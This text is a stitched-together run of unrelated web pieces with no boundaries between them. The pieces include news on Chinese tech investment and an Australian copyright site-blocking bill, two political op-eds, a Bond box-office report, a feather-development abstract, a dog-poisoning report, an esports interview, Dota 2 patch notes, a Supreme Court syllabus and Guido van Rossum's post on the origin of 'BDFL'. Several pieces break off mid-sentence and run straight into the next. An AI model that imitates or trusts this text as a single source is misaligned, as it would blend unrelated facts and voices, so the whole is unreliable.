companies to compete), heavily tax our products going into.. — Donald J. Trump (@realDonaldTrump) December 4, 2016 In a tweet last December, Trump said: “Did China ask us if it was OK to devalue their currency (making it hard for our companies to compete), heavily tax our products going into their country (the U.S. doesn’t tax them) or to build a massive military complex in the middle of the South China Sea? I don’t think so!” Read more China’s interest in Silicon Valley has understandably risen in recent years. However, they have been pushed back by the US government with regards to investments in the technology sector. Beijing has shown an interest in artificial intelligence and machine learning, among other technologies, Reuters reported. Due to China’s continuing interest in Silicon Valley investments, the US has taken steps to strengthen the role of the the Committee on Foreign Investment in the United States (CFIUS), an inter-agency committee that reviews foreign acquisitions of companies in the US on national security grounds. But some experts are warning that stronger regulations by the US on China may not be a good idea. “There will be a significant pushback from the technology industry” if legislation is too aggressive, Economist Thilo Hanemann of the Rhodium Group said in June, according to Reuters. Chinese Foreign Ministry spokesman Lu Kang said Chinese investment should not be “politically overinterpreted” or “interfered with politically,”Reuters reported. READ MORE: Trump will be ‘deposed immediately’ if he blocks trade with China over N. Korea – Assange As the US remains a leader in technology, Lu appealed for cooperation between the two powers on this issue. “We hope the United States can provide a good environment for Chinese companies investing in the United States.”The parliamentary committee investigating the government's bill to allow content owners to apply for blocks to overseas websites facilitating copyright infringment has given it the green light despite strong concerns from the telecommunications industry. Communications Minister Malcolm Turnbull introduced the proposed law into parliament in March. The online copyright bill amends the Copyright Act to allow rights holders to apply for overseas websites used for downloading and uploading copyright infringing content to be blocked. However, internet service providers and telcos have raised strong concerns about a number of elements of the bill, including the lack of indemnity for ISPs against damages claimed by a third party and the lack of cost recovery for ISPs in implementing a block. The bill estimates it would cost ISPs $130,000 per year to comply with the legislation. The parliamentary committee today heeded ISPs' calls and urged the government to clarify its position on costs as well as ISP indemnity. "Where court orders require a [carriage service provider] to implement a complex and/or expensive blocking method, the need for a CSP to defray the costs of those measures becomes more acute," it wrote in its report. "The committee notes the persuasive evidence of service providers to the effect that as a CSP bears no fault or liability for the infringement of copyright by its subscribers, the CSP should not be required to contribute to the cost of the remedy." ISPs needed clarity that the costs associated with a site block would be borne in the most part by content owners seeking the block, the committee said. The government also needed to be clearer on its intentions in regards to ISP indemnity from claimed damages by a third party. "The committee notes the compelling evidence regarding the need to indemnify a CSP for acts done or omitted to be done in compliance with court orders," the report stated. "The committee has regard to the reasoning of Justice Perram in Dallas Buyers Club LLC v iiNet, but urges the government to provide greater clarity on the issue of CSP indemnity from consequential actions." Aside from minor changes to wording and a recommendation that the bill be reviewed two years after the law is passed to judge its effectiveness, the committee said the bill should be passed. It steered clear of addressing the bill's other contentious issues, including the lack of restrictions in the number of websites content owners can request be blocked in one injunction and the lack of detail on how a website should be blocked from a technical standpoint. It, did, however address concerns around how a site block should be communicated to internet users by recommending the government include a requirement to post a landing page on the blocked website outlining the details of the court order that led to the block. Communications Alliance CEO John Stanton said the recommendation was a "good and practical step". "But the landing page should be hosted and paid for by the relevant rights holder – as happens today when Interpol seeks the blocking of offensive or illegal websites,” he said in a statement. To successfully order a block, a rights holder must prove infringement is occuring in Australia. In deciding whether to approve a block, a judge would take into account a number of factors including whether the site in question was "flagrantly" facilitating infringement locally, whether the site operator demonstrates a disregard for copyright generally, and whether other countries have blocked the site. A block would need to be a "proportionate" response to the problem, the bill states. No action on block tech detail However, despite concerns from the ISP industry that the bill's lack of technical specifications on how a block should be implemented could lead to disastrous consequences, the committee made no comment on the issue. ISPs typically blocked websites for Interpol requests at the Domain Name System (DNS) level, or by employing a filter on the network edge routers or core routers, blocking access to specific IP addresses. The Communications Alliance has argued ISPs should be able to choose which method to use following discussion with the rights holder, but had asked the government to clarify its stance "as a matter of urgency". The exclusion of such detail raised significant issues due to the number of ways a website can be blocked, the Comms Alliance previously argued, and the disastrous consequences should the wrong approach be taken. In March 2013, the Australian Securities and Investment Commission accidentally blocked 250,000 websites in an attempt to shut down just 1200 after being unaware a single IP address could host multiple websites. Labor and Coalition members of a parliamentary committee looking into the use of controversial powers to block websites facilitating illegal activity - section 313 laws - recently united to rubberstamp their continued use. Ludlam drowned out The committee - chaired by Liberal senator Ian Macdonald - said it considered online copyright infringement to be a "significant threat" to the success of Australia's creative industry. Its recommendations to pass the bill were made despite a dissenting report by Greens committee member Scott Ludlam, whose lone voice argued the proposed legislation was equivalent to internet censorship. "There is a substantial weight of evidence showing that it will be relatively easy to evade the bill's provisions, that it does not contain appropriate safeguards, and that it may result in legitimate online sources being blocked," Ludlam wrote. "Most importantly, there is also a significant weight of evidence showing that the Bill will not meet its aims, as it does not address the underlying cause of online copyright infringement: The continual refusal of offshore rights holders to make their content available in a timely, convenient and affordable manner to Australians."Protesters demand "social justice." I hate their chant. If I oppose their cause, then I'm for social "injustice"? Nonsense. The protesters usually want to punish capitalism. "Spread those resources," says Hillary Clinton. Even capitalists often make the mistake of talking about "social justice" as if it's the opposite of free markets or a reason to rein in markets with more regulations or redistribution of wealth. But there's nothing "just" about the leftist protesters' claimed solution: more big government. Oliver Stone, Sean Penn and Harry Belafonte praised Venezuela's Hugo Chavez for his socialist revolution. Chavez then proceeded to destroy much of his country. Even after his death, his portrait remains on walls everywhere and his policies live on. They haven't produced social justice, unless your idea of "justice" is privileges for government officials and shortages of basics like food and toilet paper for ordinary people. Only socialism could take an oil-rich nation and turn it into one where people wait in line for hours for survival rations. The left-wing Guardian newspaper quotes a Venezuelan farmer saying that Chavez's policies left Venezuela with "no one to explain why a rich country has no food." Not many people in Venezuela give such explanations -- the government censors its critics -- but free-market economists can explain. Goods don't get matched to consumer needs by anyone's burning desire for justice. The amazing coordination of the marketplace happens because sellers and buyers are free. Sellers can sell whatever they choose at prices they choose. Buyers decide whether to pay. That flexibility -- and chance to make a profit -- is what persuades people to create what customers want and risk their own money and safety to stock it in a store. Without the free market setting prices and allocating resources, all the cries of "justice" in the world don't help anyone. You can't eat justice. You can't use it as toilet paper. Intellectuals, activists and government alike love it when politicians take "tough," decisive action -- usually meaning sudden interference in the marketplace. A year and a half ago, Venezuelan government used the military to seize control of Daka, one of the country's largest retailers, in order to force the chain to charge "fair" prices. Punish those rich, greedy store-owners! Surprise! That didn't work. The chain is now collapsing as looters take what they want. Socialists say capitalists just want to make a quick buck, but it's government that can't plan for the long haul. Instead of thinking in terms of returns on investment and sustainable business models, socialists think only of today: They see people who need stuff and stores full of stuff. Take the stuff and give it to people, and then tomorrow -- well, those capitalists will always bring in more stuff, I guess. Calling it "social justice" doesn't make it work. Sometimes activists admit they aren't very interested in economics. What they really want is a more "tolerant" world with less sexism and racism. They act as if capitalism is an obstacle to that. But it isn't. Capitalist societies are less racist and less sexist than non-capitalist ones. In America, white people often take for granted the advantages that being white sometimes provides. But compare America to China, where one ethnic group, the Han, dominates politics and openly looks down on minorities -- and where even scientists have tried to show that the Han are a distinctive race that does not trace its ancestry to Africa like the rest of us. The autocratic nation of Saudi Arabia doesn't let women drive cars or open their own bank accounts. Markets, in which individuals, not just rulers, have property rights, give people options. Businesses have an incentive to serve as many people as possible, regardless of gender or ethnic group. They also have an incentive to be nice -- customers are more likely to trade with people who treat them fairly. Everyone gets to choose his own path. That's what I call justice. Injustice is telling people that they must wait to see what their rulers decide is fair.Image copyright AP Image caption Spectre sees Daniel Craig play 007 for a fourth time James Bond film Spectre has raced to the top of the North American box office in its first weekend of release. The 24th film in the spy franchise, which sees Daniel Craig reprise his role as 007, earned $73m (£48.5m) between Friday and Sunday, according to early estimates. But the film failed to beat the performance of the last Bond movie Skyfall, which took $88.4m in 2012. The lower figure was partly due to this weekend's release of The Peanuts Movie. Image copyright AP Image caption The Peanuts Movie has been made by the same team behind the animated Ice Age franchise The family-friendly adaptation of the beloved Charles Schulz comic strip, featuring Charlie Brown and Snoopy, took $45m (£29.9m). Spectre still had the second-biggest opening weekend for a Bond film in the US and Canada. "We never expected [Spectre] to open to the level of Skyfall," Rory Bruer, Sony's president of worldwide distribution, said. "It was a very different scenario. The competition was different, the weekend was different. One thing I am certain of is that the Bond franchise is as healthy and strong as ever." The rest of the top five was made up of previous releases The Martian, family horror Goosebumps and Tom Hanks film Bridge of Spies. Three films hoping to score success this awards season also opened in limited release across five cinemas. They included Spotlight, about the Boston Globe's Pulitzer Prize-winning investigation into the sex abuse scandal in the Catholic Church, which took $302,276 (£200,700). Saoirse Ronan's 1950s-set immigrant story Brooklyn made $181,000 (£120,200), while Bryan Cranston biopic Trumbo took $77,229 (£51,300).To elucidate the molecular mechanisms of chick feather formation, we observed expression patterns of the Sonic hedgehog (Shh) gene, which is one of the vertebrate homologs of the Drosophila segment polarity gene, hedgehog, and encodes a signaling molecule functioning in limb pattern formation and motor neuron induction. We found that the Shh gene is also expressed in the apical region of the feather placodes and then in nine to eleven longitudinal stripes along feather filaments. The stripe was found to correspond to one of the outer marginal zones of each barb ridge, termed the zone of Shh expression. No significant expression signal was detected in the scale bud of developing legs. Thus, Shh is likely to function as an epithelial signaling molecule in epithelio-mesenchymal interaction during feather formation. Furthermore, since genes of bone morphogenetic protein-2 (BMP-2) and fibroblast growth factor-4 (FGF-4) are coexpressed with Shh during feather formation as observed in limb morphogenesis, interactions among FGF-4, Shh and BMP-2 may be involved in formation of feather filaments and barbs in a similar fashion as elucidated in limb pattern formation.A West Kildonan family is warning the community after two of its dogs suffered from severe poisoning at a local park. Luka Zigic said her sisters took the two dogs for a walk in the park beside the Seven Oaks Museum on Saturday and within minutes the dogs starting shaking and convulsing. “It was so scary. We took them to the veterinary hospital, which is only a few blocks away, and by the time we got there Chloe couldn’t even stand anymore,” she said. The clinic said the dogs ingested strychnine, a fast acting poison. The 12-year-old dog didn’t make it through the night and its ten month old Rottweiler, Prince, has not fully recovered. “The vet told us they don’t know if there will be permanent damage,” said Zigic. The family has plastered the community with posters to warn other dog owners of what happened. Neighbours tell Global News they are disturbed and don’t know why anyone would hurt or target these animals. Winnipeg Police Services said it has been made aware of the situation but it’s too early to say whether or not the poison was deliberately set.Can "XANTARES" Dörtkardeş is a rifler for Space Soldiers and considered one of the biggest up and coming talents in CS:GO. After his team won the Mountain Dew League Season 25 Global Challenge, XANTARES took the time to answer questions from theScore esports about being a pro in Turkey and exploring their options abroad. You guys won MDL Season 25 Global Challenge, notably going undefeated at the event. Tell us about that win and what it means to you. Any immediate plans for the winnings? I am very happy to be a champion. With the team, we participated in a tournament for the first time in USA and won undefeated. It was a good step to announce our name to America. How would you describe the CS:GO scene in Turkey, especially considering how big LoL seems to be there? Do you feel a sense of responsibility for growth in the region? LoL is a very popular game in Turkey and around the world. The game has been supported a lot by the game company, Riot, and the sponsors, meanwhile CS:GO hasn’t got a good impression because it is a “war game." Investors and sponsors in Turkey are suspicious because of the terrorist connotation in the game. Considering these, I can’t expect too much in a short time period. You guys were unable to attend DreamHack Montreal due to visa issues, how were you and the team affected by this? How difficult is it being an esports pro in Turkey? As in the previous question, this issue is again related to my country, Turkey. There was a delay in the visas as it was the official holiday period. We were depressed as a team, we were really sad that we couldn’t go. Besides that, we have ping problems while playing in Turkey during our online matches. Our internet providers can not provide enough speed to compete equally with our rivals. We are trying to deal with our opponents with an Internet that is almost seven times worse than other European countries. You guys have bootcamped in Germany, how much better is practicing from Europe? Is moving regions a consideration that you or your team has made? First of all, moving to Europe is the dream of the whole team. We can prove to the whole world the real potential of the Space Soldiers. We bootcamped in Germany and we were very pleased. @SpaceSoldiersTR we are bootcamping in @TaKeTV, hello from the team 😇 we ll play the qualifiers from Germany pic.twitter.com/AHfSzExTnq — MAJ3R. (@Maj3r_) May 16, 2017 In an interview with us, Space Soldiers’ owner Bunyamin Aydin has said that his goal in the future is to create a superteam, regardless of whether it’s a full Turkish lineup. How would you feel about Space Soldiers becoming an international team, with a mixed nationality roster like FaZe Clan? The team does not have to be completely Turkish. The reason we are carrying on as five Turkish players is because we adapted very well to each other. It would be totally normal for me if there's a foreign player in the team and I would be quite happy to be a part of that team because I really want to achieve more with Space Soldiers. RELATED: Space Soldiers' CEO: 'We are aiming [to become] a super team by 2019... we don’t care about being a full-national team' Would you put in the time to learn more English? We practice a lot, we play lots of matches and we have lots of tournament to attempt. In such a busy period, I can’t find time to learn English. In the EPICENTER Open Qualifier #1, you defeated mousesports to advance to the main qualifier. While in Open Qualifier #2, Heroic were eliminated. However, both mouz and Heroic were later directly invited to the main qualifier. What are your thoughts on this? This is something that is very common. However, while lots of team in Europe get it, it has never happened to us. I will only say one thing: this is “injustice.” Pay no attention to the quality of my questionmark. pic.twitter.com/kDKx9CdSuh — Jacob Toft-Andersen (@TheMaelk) October 2, 2017 This interview has been edited and condensed for clarity.As we know, Jakku is being added to Star Tours. There have been rumors that when the Jakku edition drops at Disneyland it will be the only destination for the ride for a limited time. After a while it become randomized, but during the Season of the Force it will be the only destination available. That’s the rumor. Now today the Disneyland Gazette is reporting: It seems very likely this will be the method utilized for Disneyland and Disney World. At least I hope so! I’m looking forward to riding it many times. Hopefully the app I use to obsessively log my destinations (like a crazy person) adds Jakku to the mix! In other news, we hear that the Launch Bay sign has been added at Disneyland! The Season of the Force is near! Thanks to Tony Snyder for the heads up! UPDATE: Here’s some more information we have about Star Tours in Tokyo:User Interface- Alt+Control clicking enemy heroes in the top bar now sends a hero has returned chat message- Alt clicking on a store item will announce to your allies that you will purchase that item- Fixed item alerts not working properly- The game no longer freezes while a replay is being decompressed after the download is completed.- Fixed Legacy Keys not being set correctly when reconnecting- Legacy Keys now work correctly when querying (and allow you to use to proper legacy keys if taking over a bot)Gameplay- Fixed Terrorblade illusions taking too much damage- Fixed Phoenix Sunray healing half of the amount it should- Fixed AoE gold not being given to hidden heroes (such as Phoenix using Supernova, Brewmaster using Primal Split)- Fixed Radiant having vision for a small area just outside the Dire fountainCommunity- Abandonment penalties will now be applied much more quickly after the abandonment occurs. (Previously the penalty was applied at the end of the match that was abandoned.)- Abandonment in a ranked match before first blood will now count as a loss for the abandoner and all party members. (MMR will decrease.) For all other players in the game, the match will not be scored. After first blood, the same rules apply as before: the match will be scored for all players. The abandoner will always receive a loss, but all other players will be scored a win/loss according to the actual match outcome.Workshop-Master Assassin’s Tails (Bounty Hunter) – fixed chest strap skinning-Form of Great Grey (Lycan) – added portrait entry-Icewrack Pack wolves (Lycan) – added portrait entry-Mysterious Vagabond Pack (Shadow Shaman) – fixed cloth issue during movement-Demon Blood Helm (Axe) – fixed cloth issue during movement-Prisoner’s Anchor (Alchemist) – fixed skinning on saddle-Swamp Fins (Tidehunter) – fixed skinning-Soul Reaper (Necrophos) – fixed loadout issue-Excavator’s Treasure (Tidehunter) - fixed skinning-Adjusted skinning on Rubick capes: Councilor's Robe, Cloak of Inscrutable Zeal, Tails of Resonance Vibrance-Stone Dragon Soul (Earth Spirit) - weapon is now two separate pieces. Added default weapon particles to this and Staff of the Demon Stone-Beast of Vermilion Wilds (Beastmaster) - now equips correctly-Jade Talon (Pudge) - fixed orientationAudio-Minor adjustments to Terrorblade's Voice to give the base and morph forms more presence in the mixTooltips-Fixed Random Hero button tooltip to say that you gain 200 gold for randoming a hero-Removed duplicate health regeneration description from Alchemist's Chemical Rage tooltip-Removed mention of Beastmaster's Call of the Wild destroying previous summons-Fixed Beastmaster's Call of the Wild (Hawk) advanced tooltip to say that the Greater Hawk's invisibility starts at 4 seconds of inactivity.-Reworded the description of Elder Titan's Earth Splitter to better explain how its damage is done-Added cast range to Keeper of the Light's Mana Leak-Removed inaccurate information in Mirana's Sacred Arrow tooltip regarding its affect on invisible units. Sacred arrow will stun and damage invisible units-Removed inaccurate information in Mirana's Leap tooltip. The Leap buff is applied when and where she begins Leap-Added Slow duration and percentage to Shadow Fiend's Requiem of Souls tooltip-Added a description of Silencer's innate Intelligence Steal buff to that buff's tooltip.-Reworded the description of Spectre's Desolate to better explain that the bonus damage is done when the attacked enemy is alone (has none of its allies nearby)-Removed inaccurate information in Viper's Corrosive Skin tooltip. Corrosive Skin is applied to an enemy when an attack hits-Fixed Warlock's Upheaval tooltip to say that it can be channeled for up to 16 seconds-Fixed typo in Dust of Appearance tooltip-Removed inaccurate information in Eye of Skadi tooltip regarding lifesteal stacking. Eye of Skadi can stack lifesteal on both melee and ranged heroes-Removed inaccurate information in Ghost Scepter's tooltip. Boots of Travel does not dispel Ghost Form, however using a Teleport Scroll does-Fixed inaccurate information in Radiance debuff tooltip to say that its burn does 50 damage per secondTell you what, I haven’t half enjoyed all this stability David Cameron promised at the last election. “Britain faces a simple and inescapable choice,” he tweeted solemnly, “stability and strong government with me, or chaos with Ed Miliband.” Who needs The Walking Dead: if you ever want to scare yourself for kicks, imagine the chronic instability we would now be living through if Miliband had become prime minister. Close call, eh? Thankfully, Britain is now one never-ending rendition of REM’s Shiny Happy People. We could have ended up like Miliband’s bacon sandwich, am I right? The Conservative party has plunged this country into existential crisis. Britain’s internal divisions may not have been invented by Cameron – the sense of abandonment, decline and general disillusionment felt by many of Britain’s communities long pre-date the Cameroons – but both Cameron and his successor are chief architects of Chaotic Britain. And even that name may have to change if a significant portion of the population opts to flee the union. David Cameron’s fatal mistakes on immigration threaten our country’s future \| Owen Jones Read more Cameron’s government opted to deal with a crisis caused by the financial sector with the most severe cuts for a generation, ensuring the longest squeeze in workers’ wages since the Victorian era. That only served to exacerbate the anger and disillusionment, felt particularly by ex-industrial communities which went on to decisively vote for leave. Cameron perpetually framed immigration as a problem, helping to make it the central issue of British politics, and pledged to reduce net migration to the tens of thousands. When that impossible target wasn’t met, endemic distrust of politicians collided with growing nativism. Cameron called the EU referendum not because he felt it was in the national interest, but rather to assuage his own Tory backbenches. Predictably, his Tory leave colleagues opted to wage their campaign in poisonous, xenophobic terms. And look where we are now. Because of these calamitous decisions, for the next few years British politics is going to resemble a shouty Tory party conference fringe event on the EU. National newspapers spitefully denounce 48% of the population as “remoaners” who are part of some sort of sinister conspiracy, while judges defending the sovereignty of Britain’s parliament are venomously smeared as “enemies of the people”. Forms of xenophobia and racism that had been sidelined have been granted new legitimacy. The hard-won Northern Ireland peace process is endangered. We are on course for deeply acrimonious talks with EU countries who are increasingly fed up with us and in no mood to give us good terms. The possibility of no deal is real, turning Britain into a tax haven stripped of social provision. And the wages of Britain’s workers are yet again set to fall. The Conservative and Unionist parties could very well preside over the destruction of the union. The decision to wage a Scottish referendum campaign on the basis of fear and blackmail may have succeeded in the short term – though support for independence was far greater at the end of the campaign than the beginning – but the scars it left are deep. The Tories’ 2015 general election campaign was based on warnings against the sinister influence that would be wielded by the chosen representatives of the Scottish people, while Tory-backing newspapers tapped into anti-Scottish resentment. And since Theresa May became prime minister, she has played hardball with Scotland, making it clear that a nation that voted against leaving the EU would suffer the same hard Brexit as everybody else. There are a lot of people in Scotland who are pretty angry. What a mess. No wonder the thoughtful rightwing commentator Alex Massie wrote: “In retrospect, you know, I think I could have coped with five years of prime minister Miliband.” Our country’s immediate future is of bitter division, officially sanctioned bigotry and potential disintegration. So yes, just think of the sheer chaos that would have enveloped these islands if the Tories had lost in 2015. It’s not even worth thinking about, is it?David works on the Magic community team as a content specialist. He spends his days writing about Magic Online and trying to play too many colors at once in Limited. What Is the Magic Online Weekly Announcements Blog? Every Tuesday, we round up all of the biggest Magic Online news and post it right here in the Weekly Announcements Blog. Check in every Tuesday for all of the latest news! From the Vault: Annihilation Released on Monday, October 6 Beyond Destruction Looms Annihilation. Harness the savage power of fifteen of the most brutal Magic cards ever unleashed. From the Vault: Annihilation released on Monday, October 6! In case you missed it when it was first announced, read up on these powerful board clearing cards here. Continuing Spirespine Issues During last week's downtime,
epitome of hypocrisy. I wonder if Vigneault even hears himself speak. For the latest sports injury news, check out our friends at Sports Injury Alert. Thank you for reading. Please take a moment to follow me on Twitter – @lastwordBkerr. Support LWOS by following us on Twitter – @LastWordOnSport – and “liking” our Facebook page.Syllabus NOTE: Where it is feasible, a syllabus (headnote) will be released, as is being done in connection with this case, at the time the opinion is issued.The syllabus constitutes no part of the opinion of the Court but has been prepared by the Reporter of Decisions for the convenience of the reader.See United States v. Detroit Timber & Lumber Co., 200 U. S. 321. SUPREME COURT OF THE UNITED STATES MONSANTO CO. et al. v. GEERTSON SEED FARMS et al. certiorari to the united states court of appeals for the ninth circuit The Plant Protection Act (PPA) provides that the Secretary of the Department of Agriculture may issue regulations “to prevent the introduction of plant pests into the United States or the dissemination of plant pests within the United States.” 7 U. S. C. §7711(a). Pursuant to that grant of authority, the Animal and Plant Health Inspection Service (APHIS) promulgated regulations that presume genetically engineered plants to be “plant pests”—and thus “regulated articles” under the PPA—until APHIS determines otherwise. However, any person may petition APHIS for a determination that a regulated article does not present a plant pest risk and therefore should not be subject to the applicable regulations. APHIS may grant such a petition in whole or in part. In determining whether to grant nonregulated status to a genetically engineered plant variety, APHIS must comply with the National Environmental Policy Act of 1969 (NEPA), which requires federal agencies “to the fullest extent possible” to prepare a detailed environmental impact statement (EIS) for “every … major Federal actio[n] significantly affecting the quality of the human environment.” 42 U. S. C. §4332(2)(C). The agency need not complete an EIS if it finds, based on a shorter statement known as an environmental assessment (EA), that the proposed action will not have a significant environmental impact. This case involves a challenge to APHIS’s decision to approve the unconditional deregulation of Roundup Ready Alfalfa (RRA), a variety of alfalfa that has been genetically engineered to tolerate the herbicide Roundup. Petitioners are the owner and the licensee of the intellectual property rights to RRA. In response to petitioners’ deregulation request, APHIS prepared a draft EA and solicited public comments on its proposed course of action. Based on its EA and the comments submitted, the agency determined that the introduction of RRA would not have any significant adverse impact on the environment. Accordingly, APHIS decided to deregulate RRA unconditionally and without preparing an EIS. Respondents, conventional alfalfa growers and environmental groups, filed this action challenging that decision on the ground that it violated NEPA and other federal laws. The District Court held, inter alia, that APHIS violated NEPA when it deregulated RRA without first completing a detailed EIS. To remedy that violation, the court vacated the agency’s decision completely deregulating RRA; enjoined APHIS from deregulating RRA, in whole or in part, pending completion of the EIS; and entered a nationwide permanent injunction prohibiting almost all future planting of RRA during the pendency of the EIS process. Petitioners and the Government appealed, challenging the scope of the relief granted but not disputing that APHIS’s deregulation decision violated NEPA. The Ninth Circuit affirmed, concluding, among other things, that the District Court had not abused its discretion in rejecting APHIS’s proposed mitigation measures in favor of a broader injunction. Held: 1. Respondents have standing to seek injunctive relief, and petitioners have standing to seek this Court’s review of the Ninth Circuit’s judgment affirming the entry of such relief. Pp. 7–14. (a) Petitioners have constitutional standing to seek review here. Article III standing requires an injury that is (i) concrete, particularized, and actual or imminent, (ii) fairly traceable to the challenged action, and (iii) redressable by a favorable ruling. See Horne v. Flores, 557 U. S. ___, ___. Petitioners satisfy all three criteria. Petitioners are injured by their inability to sell or license RRA to prospective customers until APHIS completes the EIS. Because that injury is caused by the very remedial order that petitioners challenge on appeal, it would be redressed by a favorable ruling from this Court. Respondents nevertheless contend that petitioners lack standing because their complained-of injury is independently caused by a part of the District Court’s order that petitioners failed to challenge, the vacatur of APHIS’s deregulation decision. That argument fails for two independent reasons. First, one of the main disputes between the parties throughout this litigation has been whether the District Court should have adopted APHIS’s proposed judgment, which would have replaced the vacated deregulation decision with an order expressly authorizing the continued sale and planting of RRA. Accordingly, if the District Court had adopted APHIS’s proposed judgment, there would still be authority for the continued sale of RRA notwithstanding the District Court’s vacatur, because there would, in effect, be a new deregulation decision. Second, petitioners in any case have standing to challenge the part of the District Court’s order enjoining a partial deregulation. Respondents focus their argument on the part of the judgment that enjoins planting, but the judgment also states that before granting the deregulation petition, even in part, the agency must prepare an EIS. That part of the judgment inflicts an injury not also caused by the vacatur. Pp. 7–11. (b) Respondents have constitutional standing to seek injunctive relief from the complete deregulation order at issue here. The Court disagrees with petitioners’ argument that respondents have failed to show that any of them is likely to suffer a constitutionally cognizable injury absent injunctive relief. The District Court found that respondent farmers had established a reasonable probability that their conventional alfalfa crops would be infected with the engineered Roundup Ready gene if RRA were completely deregulated. A substantial risk of such gene flow injures respondents in several ways that are sufficiently concrete to satisfy the injury-in-fact prong of the constitutional standing analysis. Moreover, those harms are readily attributable to APHIS’s deregulation decision, which gives rise to a significant risk of gene flow to non-genetically-engineered alfalfa varieties. Finally, a judicial order prohibiting the planting or deregulation of all or some genetically engineered alfalfa would redress respondents’ injuries by eliminating or minimizing the risk of gene flow to their crops. Pp. 11–14. 2. The District Court abused its discretion in enjoining APHIS from effecting a partial deregulation and in prohibiting the planting of RRA pending the agency’s completion of its detailed environmental review. Pp. 14–22. (a) Because petitioners and the Government do not argue otherwise, the Court assumes without deciding that the District Court acted lawfully in vacating the agency’s decision to completely deregulate RRA. The Court therefore addresses only the injunction prohibiting APHIS from deregulating RRA pending completion of the EIS, and the nationwide injunction prohibiting almost all RRA planting during the pendency of the EIS process. P. 14. (b) Before a court may grant a permanent injunction, the plaintiff must satisfy a four-factor test, demonstrating: “(1) that it has suffered an irreparable injury; (2) that remedies available at law, such as monetary damages, are inadequate to compensate for that injury; (3) that, considering the balance of hardships between the plaintiff and defendant, a remedy in equity is warranted; and (4) that the public interest would not be disserved by a permanent injunction.” eBay Inc. v. MercExchange, L. L. C., 547 U. S. 388. This test fully applies in NEPA cases. See Winter v. Natural Resources Defense Council, Inc., 555 U. S. ___, ___. Thus, the existence of a NEPA violation does not create a presumption that injunctive relief is available and should be granted absent unusual circumstances. Pp. 15–16. (c) None of the four factors supports the District Court’s order enjoining APHIS from partially deregulating RRA during the pendency of the EIS process. Most importantly, respondents cannot show that they will suffer irreparable injury if APHIS is allowed to proceed with any partial deregulation, for at least two reasons. First, if and when APHIS pursues a partial deregulation that arguably runs afoul of NEPA, respondents may file a new suit challenging such action and seeking appropriate preliminary relief. Accordingly, a permanent injunction is not now needed to guard against any present or imminent risk of likely irreparable harm. Second, a partial deregulation need not cause respondents any injury at all; if its scope is sufficiently limited, the risk of gene flow could be virtually nonexistent. Indeed, the broad injunction entered below essentially pre-empts the very procedure by which APHIS could determine, independently of the pending EIS process for assessing the effects of a complete deregulation, that a limited deregulation would not pose any appreciable risk of environmental harm. Pp. 16–23. (d) The District Court also erred in entering the nationwide injunction against planting RRA, for two independent reasons. First, because it was inappropriate for the District Court to foreclose even the possibility of a partial and temporary deregulation, it follows that it was inappropriate to enjoin planting in accordance with such a deregulation decision. Second, an injunction is a drastic and extraordinary remedy, which should not be granted as a matter of course. See, e.g., Weinberger v. Romero-Barcelo, 456 U. S. 305. If, as respondents now concede, a less drastic remedy (such as partial or complete vacatur of APHIS’s deregulation decision) was sufficient to redress their injury, no recourse to the additional and extraordinary relief of an injunction was warranted. Pp. 23–24. (e) Given the District Court’s errors, this Court need not address whether injunctive relief of some kind was available to respondents on the record below. Pp. 24–25. 570 F. 3d 1130, reversed and remanded. Alito, J., delivered the opinion of the Court, in which Roberts, C. J., and Scalia, Kennedy, Thomas, Ginsburg, and Sotomayor, JJ., joined. Stevens, J., filed a dissenting opinion. Breyer, J., took no part in the consideration or decision of the case.All Things Pythonic Origin of BDFL by Guido van van Rossum July 31, 2008 Summary I believe I've tracked down the origin of the term Benevolent Dictator For Life (BDFL) to a Python meeting in 1995. It's a blast from the past! Advertisement Occasionally people ask me about the origins of my nickname BDFL (Benevolent Dictator For Life). At some point, Wikipedia claimed it was from a Monty Python skit, which is patently false, although it has sometimes been called a Pythonesque title. I recently trawled through an old mailbox of mine, and found a message from 1995 that pinpoints the origin exactly. I'm including the entire message here, to end any doubts that the term originated in the Python community. Some background: On April 15 I had moved to the US to join CNRI for what would end up being a five-year stint. One of the first things we wanted to do was establish some kind of (semi-)formal group overseeing Python development and workshops. It was too early to think of conferences yet. The idea was to call this the Python Software Association (or perhaps the Python Software Activity), and to have it be a subsidiary of CNRI, which would give it many of the benefits of a non-profit (CNRI being one) without any of the hassle. On April 18 a group of folks interested in setting this up met: besides myself, there were Ken Manheimer and Mike McLay from NIST, Barry Warsaw, Roger Masse and Ted Strollo from CNRI, Jim Fulton from USGS, and Paul Everitt from Creative Minds, an early precursor of Zope Corporation. As you can read below, everyone present was bestowed a title starting with First Interim, but mine was the only jocular one. While I can't prove my title (with or without the First Interim prefix) was never used before, I'm pretty certain that it originated in this meeting. Given what I know of how their minds work, it was most likely invented by Ken Manheimer or Barry Warsaw, though it may well have been a joint invention by all present. I doubt that anyone remembers (I certainly don't recall anything specifically about this meeting, there were so many meetings those days). Anyway, here's the whole message, with all the headers. I've added some highlights to emphasize the most salient points. Return-Path: Received: from CNRI.Reston.VA.US (cnri.reston.va.us [132.151.1.1]) by unix.cnri.reston.va.us (8.6.9/8.6.9) with SMTP id RAA01703; Fri, 5 May 1995 17:34:51 -0400 Received: from coil-ether.nist.gov by CNRI.Reston.VA.US id aa16056; 5 May 95 17:34 EDT Received: by coil.nist.gov (4.1/SMI-3.2-del.7-klm.4) id AA15998; Fri, 5 May 95 17:35:00 EDT Date: Fri, 5 May 95 17:35:00 EDT Message-Id: <9505052135.AA15998@coil.nist.gov> From: Ken Manheimer To: "Barry A. Warsaw", "Roger E. Masse", Paul.Everitt@cminds.com, Jim Fulton, Guido van Rossum, Michael McLay, Kenneth Manheimer, "Theodore R. Strollo" Subject: Notes from the last PSA meeting at CNRI - Tue, April 18, 1995 Reply-To: ken.manheimer@nist.gov X-Mailer: VM 5.72 (beta) / Emacs 19.26.2 Organization: National Institute of Standards and Technology Well, after a substantial delay as promised (:-), here are my notes from the last PSA/workshop meeting at cnri. Note that there are a few items that we all need to get moving - paul, you have to post an explanation of the recruitment-process for workshop session conductors, and then all of us have to send out our solicitations. Barry and roger, i was supposed to report to you the address of the NIST time server - time.bldrdoc.gov is the one i use. I believe it supports a number of network-time protocols - i use 'rdate' on the suns and 'netdate' on my linux box with it. I also understand that it is coupled pretty closely with a NIST time-standard atomic clock. It is physically in boulder, but presumably the time synch mechanisms account for the distance. And anyway, who of us cares about millisecond absolute accuracy? Here are my notes, in a semi-outline format: Landmark first meeting of first interim PSA board, including first interim benevolent dictator-for-life, GvR, in attendance. + Attendees: Barry Warsaw, CNRI Guido van Rossum, CNRI 